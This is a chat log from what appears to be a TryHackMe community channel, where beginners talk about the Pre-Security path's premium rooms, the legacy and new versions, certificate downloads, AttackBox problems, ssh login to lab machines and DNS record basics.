[warped folio]

Does the site allow you to study more than one path at a time?

[quiet perch]

ofc

[rugged sky]

Hi

[warped folio]

Ofc?

[torn tendon]

Ofc = Of course

[kind ember]

Yes, but you can only "enroll" to one path at a time. At least from my experience.

So you will only see stats from the enrolled path on your dashboard. But you can freely click into another path and do the rooms.

[mental tusk]

most of the rooms in pre-security are premium, and not free.

it shouldn't be so, at least give beginners a full experience, and then decide what their taste is, and decide which room to subscribe to or what not.

[random pond]

can someone explain to me why we have to use remmina while we can just connect using the ssh command in the terminal?

[junior hawk]

My exact opinion. I do not want to sound ungrateful but what do you mean that 4/5 of the network part is premium ? Like this way I fear that IMPORTANT stuff are not accessible just because I do not pay.

[mental tusk]

my bro!

I dig you, and I heard it was not like that from the start....
in the early days most of the rooms were free, but now that cybersecurity seems to have taken the spot lights and has been endowed with economic value, everything is being price-tagged.

[grizzled oak]

infra is expensive

in the early days, they focus on acquiring a user base and operate at loss but eventually need to start making some profit

but what sucks is how some rooms do not work and are not being fixed

[iron linden]

Hey is this the right place to also ask for room help in the pre-security path?

or should i just go to #room-help for that?

[iron linden]

And can I ask general questions related to or inspired by information provided in the room here?

[lucid cave]

What are you stuck on dude? I’ve virtually just finished that path!

[iron linden]

On the very first one, offensive security intro, task 4, it tells me to go a certain web page, but it gives a 404 response

oh nvm, it works now!

it sometimes resets my progress on that room only

and then some tasks look different idk

sorry!

[junior hawk]

Now I am at the Linux fundamentals part. I LOVED THE FIRST PART so much, gave a really good review on that room, thought something like 'I love how this is free and how well it is structured and easy' and then when I click part 2 they smash it into my face.
I understand they need profit. IT would be very nice if more (especially basic) rooms would be accesible. I WOULD NOT care if there would be adds for non premium user or something. Just let me learn slightly more 🥹

[lucid cave]

No problem dude! Sorry for slow reply, glad you figured it out! 😄

[mental tusk]

yh, I feel you bro.
and I understand the excitement, I once felt it too, I still do btw..
but ig, that's what they want...yk they must be like "if you really want it, come get it!", you feel me?...if you really want something you'd stop at nothing to get it kind of vibes...if you know what I mean....plus thm is not a charity, they need revenue to maintain the site and all.

nevertheless, it'd be really helpful and amazing if users have access to more basic rooms...just as you have said.

[icy raft]

Guys, who is ready we study together.

[mental tusk]

i am ready..but what are we studying?

you are a black hat ?

Hey in the pre-security path there a lot of "View website" options that open a split view of a static site.
Is this like a tiny VM that it opens?
How do I 'stop' it, after I have completed the task?

[fallow stone]

there's a "-" at the bottom of the static site :). we will work on your feedback!

[iron linden]

I have seen the "-" and I have used it.
Does that 'close' the static site or does it close the split view?

[fallow stone]

if you have more than 1 static site per room opened it closes that site. But if there's only 1 site open it also closes the split view

[iron linden]

https://tenor.com/view/hate-this-game-gif-18600694

[cobalt flame]

that might be because of the new refreshed presecurity path we have:
you can still complete the path you're on, it should be here:

  the updated one is now here
  https://tryhackme.com/path/outline/presecurity

I am in the SSH, searched the directories and cant find this "hiddenfiles" or unknown in the home directory

I'll change this channel to pre-security-legacy and create a new one for pre-security. @cobalt flame

[vapid sequoia]

What’s the difference between the newer version of PS and Legacy ? Do I have to do the new one aswell now ?

[teal stirrup]

If you almost finish or finished sec 101 then it’s ez pz

[vapid sequoia]

I just finished Linus fundamentals part 1 ( still confused as shit) do you reccomend so just getting through 101 and then going back ?

Linux*

[teal stirrup]

No , i think in your position, go back and finish Legacy and then return to Sec101

I was atOSWAP Room and now about to finish the Legacy to mark it as complete and the extra room can be more benefit

[vapid sequoia]

Oh ok. Thank you. I appreciate it. Sorry one more question, is the new pre security does it have a lot more content ?

[untold knot]

yes it does

[vapid sequoia]

And the pre security path that I had already completed is now only halfway done…

Can U tell It will be way huge help

[brave cobalt]

You can post it here #feedback-and-ideas

Also, when did you send an email?

[hollow hamlet]

Ive sent email 4Times And then Ive stopped Kinda Idk but due to proton it turn out to be in spam :)

[brave cobalt]

What was your wait time when you sent the emails? Sending a follow up email less then 3 to 5 business days in between could have pushed your email to the back of the queue

[hollow hamlet]

Well, The suggestion there really will be considered because Kinda I want thm team to teach th cybersecurity legal and illegal first because Ive been from 1-2 Months And Usually I ignore but people really doesnt know diffrence b\w Legal and illegal measures I hope u get it what im trying to recommend because thm staff dedicated their time in the rooms it wont be huge problem if they do this also if possible

[hollow hamlet]

Kinda Ive send 1st email on jan 26 near and then I even dont get the revert like que or even automated robot message saying my que ticket or either any kind of tracking number then i tried 2 times more still then i leave it as it was

Well If u could forward my suggestion direct to the team it will be way great for all community learning there

Im requesting team to make beginner friendly module or course b4 unlocking any path to learn about legal and formalities and kinda every country has their own rules but covering up some most common rules for breaking rules and making illegal means of the education thats all i would like to recommend

[brave cobalt]

Does these not cover what you have in mind -

This learning path will teach you the pre-requisite technical knowledge to get started in cyber security. To attack or defend any technology, you have to first learn how this technology works.

The Pre-Security learning path is a beginner friendly and fun way to learn the basics. Your cyber security learning journey starts here!

I'm about to. Just gotta work through the windows section after work tomorrow.

[turbid glade]

Nice 👍 I haven't gotten there as of yet. How is the 3-part Linux fundamentals ?

[knotty galleon]

I had issues with one part (task 4) but your mileage may vary

I used linux years ago (circa 2010 with Ubuntu) so some stuff was familiar.

[turbid glade]

Same here just never got into the fundamentals of it, preferred Linux due the capability of running on older hardware compare to Windows.

[marsh veldt]

I completed the Pre-security path today, but for some reason cannot download the certificate. Did anyone encounter the similar issue?

[knotty galleon]

I'll try to finish today and let you know

[proud hatch]

I did the cours yesterday, and No problem downloading the "paper"

[knotty galleon]

Yeah my internet went out today. But I just got on and finished. Other than having to enable popups in firefox, it showed up fine once I clicked the download button

[raw sedge]

Can we finish 100 percent of this pre-security-pathway without subscribing to tryhackme at all?

had my attackbox disconnect like 2 times... not time out... disconnect. heres my issue

aw man i cant post my snipit to show the attack box commands

[hard anchor]

how to hack

?

[drowsy coral]

#start-here might be a good place to look first, sign up to the website and probably the 'pre-security' path

on the website and see how you go

[midnight rover]

Can you send me a message and see if you can attach the screenshot with it?

[raw sedge]

@timid raft yeah, i am so hooked, I am planning to buy it.

[timid raft]

good

[midnight rover]

I will say buy the subscription...its worth it

[novel geode]

If you have some IT foundations, you can probably run through the free rooms first but they're a mix from pathway to pathway (if pathways are an interest for you). If you're completely new, then signing up for a sub will give you the best sense of progression to grow.

[raw sedge]

Yup. I did, enjoying it so far!!!

[thin gulch]

subscribe is better, i have tried udemy for pen class, still tryhackme is better than then becoz you are provided machine and vul room to practice

[humble mesa]

Anyone here?

[midnight rover]

Finished the Linux module for the path. I am going to start the Windows Fundamantals. Just would like if anyone is working on this path and if they have any questions or anything that they did not understand in the first four modules. If so, please send me a message with the questions in bullet points. I will try to answer.

[fallen bluff]

I knew it was bad idea to start Linux on a weekend but I had to face my fear .... On Task 4 of Linux Funamentals - we are instructed to run the whoami command to find out the User we are logged in as - however my dear terminal is displaying a totally different result and not where I got lost .... Please help !!!!

[marsh veldt]

have you learned ssh command? i just dont know how to explain it. you didn't connect to a remote server so it is "root" instead of tryhackme. follow this command to connect to remote server: ssh tryhackme@ipaddress @fallen bluff

[fallen bluff]

Thank you! SSH not yet covered. I will give that a go. The attackMachine is now White screen and I have restarted it anumber of times: Should I report this as a bug ?

[marsh veldt]

you're welcome. Terminate all machines and restart web browser. Try again if it doesn't work you can ask to moderators. I don't know else about this.

[thorn tendon]

Hey @fallen bluff so for that question you have to ssh into that machine
Ssh means "secure shell" and what you're doing is getting a shell from another computer onto yours so that you can execute commands on it

To use ssh use the following syntax

ssh [username]@[IP address of the Machine] 

And enter in the password when it asks you for that 🙂

[fallen bluff]

Wow! This is super helpful! I dont recall the lab mentioning ssh . I will try this when back online. Thank you @thorn tendon

Hi, i'm doing pre security/ DNS in detail task 3 what do the mean by:

A Record

These records resolve to IPv4 addresses, for example 104.26.10.229

these record resolve to

what dose that mean?

[drowsy coral]

hmm hard to explain in words without using the definition, but basically it means they will be "equal to" once they are put through a test or check

[vapid epoch]

hmmmm

[delicate forum]

there are a lot of different records in DNS, https://simpledns.plus/help/dns-record-types has good info on them

[vapid epoch]

That i know but i'm trying to get my head around what the mean by resolve to.

[drowsy coral]

just that they 'map' to it like
